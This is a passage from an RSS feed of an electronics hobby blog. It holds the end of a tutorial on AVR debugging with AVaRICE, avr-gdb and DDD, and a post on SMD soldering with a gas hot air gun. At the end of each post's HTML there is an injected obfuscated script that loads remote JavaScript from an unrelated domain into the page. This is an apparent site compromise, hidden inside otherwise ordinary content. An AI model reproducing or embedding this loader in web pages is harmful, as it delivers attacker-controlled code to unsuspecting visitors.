<p>As you can see, this is compact and nothing else is needed. The power supply come from the USB port, and I soldered a DIP on the board.. and that&#8217;s it.</p>
<p>I use the Jtag connector, so now I can use a real debugger instead of playing with the UART. Simply put a breakpoint, and enjoy :) By this way, I figure out that most of the time I simply push some stuff in arrays, and inspect them with debugger. This is really efficient. For example, last week I need to fix a timing issue with a IR sensor, simply wrap the little board, and push all interrupts in a array with the related timing. Of course, this can be done with a serial connection too, but it will take more time, and even worst if you encounter a bug, you will have to find where is it (the UART printf, or the code itself) ..</p>
<h4>So, how to use this with a Linux OS ?</h4>
<p>First you need to use <a href="http://avarice.sourceforge.net/">AVaRICE</a> to program the ATMega with a command like this :</p>
<pre>avarice -g -j usb --erase --program --file main.hex :4242</pre>
<p>Here the result:</p>
<p><img class="alignnone" title="Avarice" src="http://jkx.larsen-b.com/photos/blog/avarice.sized.jpg" alt="" width="640" height="476" /></p>
<p>AVaRICE flash the hex file to the ATMega, and wait for a <a href="http://en.wikipedia.org/wiki/GNU_Debugger">GDB</a> connection on port 4242. GDB is fine, but not really visual ;)</p>
<p>Let&#8217;s take a look at <a href="http://www.gnu.org/software/ddd/">DDD</a></p>
<p>To use DDD with avr-gdb (the gdb for AVR), you need to edit a config file, for example gdb.conf and put this in :</p>
<pre>file main.out
target remote localhost:4242</pre>
<p>And the final command, just launch DDD like this :</p>
<pre>ddd --debugger "avr-gdb -x gdb.conf"</pre>
<p>Next step: Simply place some breakpoint, and the press &#8220;Cont&#8221; inue button in DDD. Et voilà :</p>
<p><a href="http://jkx.larsen-b.com/gallery/blog/ddd?full=1"><img class="alignnone" title="DDD" src="http://jkx.larsen-b.com/photos/blog/ddd.sized.jpg" alt="" width="438" height="640" /></a></p>
<p>I hope this little tuto will help people looking for a nice AVR debuger for the AVR on Linux (or any OSS system). The AVR Dragon is definitively a must have for low budget user in AVR scene.</p>
<p><strong>Enjoy bug ? :)</strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/315.html/feed</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>SMD Soldering on the cheap</title>
		<link>http://www.larsen-b.com/Article/291.html</link>
		<comments>http://www.larsen-b.com/Article/291.html#comments</comments>
		<pubDate>Tue, 08 Jul 2008 22:20:27 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[diy]]></category>
		<category><![CDATA[solder]]></category>

		<guid isPermaLink="false">http://www.larsen-b.com/?p=291</guid>
		<description><![CDATA[Like a lot of hobbits, I don&#8217;t really like to solder SMD. It&#8217;s hard to solder with a normal soldering iron (even this can be done), and hot air soldering station cost a little. (around 180 Euros shipping included) I &#8230; <a href="http://www.larsen-b.com/Article/291.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Like a lot of hobbits, I don&#8217;t really like to solder SMD. It&#8217;s hard to solder with a normal soldering iron (<a href="http://www.larsen-b.com/Article/288.html">even this can be done</a>), and hot air soldering station cost a little. (around 180 Euros shipping included)</p>
<p>I already talk to my friend Bernt about this. He says he already used a cheap gas hot air gun with good result. Ok, he isn&#8217;t really an hobbist, and have a professional soldering station at work, but &#8230;</p>
<p>Tomorrow morning, he was waiting for me at my work, and gave me <a href="http://www.splashelec.com/catalog/product_info.php/cPath/32/products_id/43">a gas hot air gun</a> (plus additional soldering tip) ..what a great a present ! Thank you guy. In fact, they just started to sell this cheap stuff on their shop: <a href="http://www.splashelec.com/">Splashelec</a>.</p>
<p>Fine, so it&#8217;s time to give it a try no ?</p>
<p>Hum, guess what, I don&#8217;t have any electronic flux at home. In fact this cost too much too ! (and you can&#8217;t stock it for a long time..) but I have some plumber paste on my desk. I use this stuff for wifi antenna not electronic but it should be fine.</p>
<p><img src="http://jkx.larsen-b.com/photos/Electronic/p7080541.sized.jpg" alt="" /></p>
<p>Simply apply the paste with a brush and use the iron to melt it a bit. As I&#8217;m new to hot air soldering, I decided to use a normal iron to do that. Next step remove the surplus with some water. In fact, you can use a normal solder here, but using the paste is a bit easier to apply &#8230;</p>
<p>Ok ready to play ! Fire !</p>
<p><img src="http://jkx.larsen-b.com/photos/Electronic/p7090546.sized.jpg" alt="" width="640" height="355" /></p>
<p>And the final step, place the chip on the board. Mount the <a href="http://www.splashelec.com/catalog/product_info.php/cPath/32_33/products_id/45">heat blower</a> on the gun and light it. Set it around the max temperature, and gently approach the chip pins. Don&#8217;t be afraid to take your time, chips are made for a reflow process, so they can handle hot air without too much issue.</p>
<p>Here&#8217;s the result</p>
<p><img src="http://jkx.larsen-b.com/photos/Electronic/p7080544.sized.jpg" alt="" /></p>
<p>Fine no ? ;) The soldering is quite perfect, it&#8217;s my first time with an hot air soldering gun so.. but I&#8217;m really happy. It&#8217;s really easier than a normal soldering iron.<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/291.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>
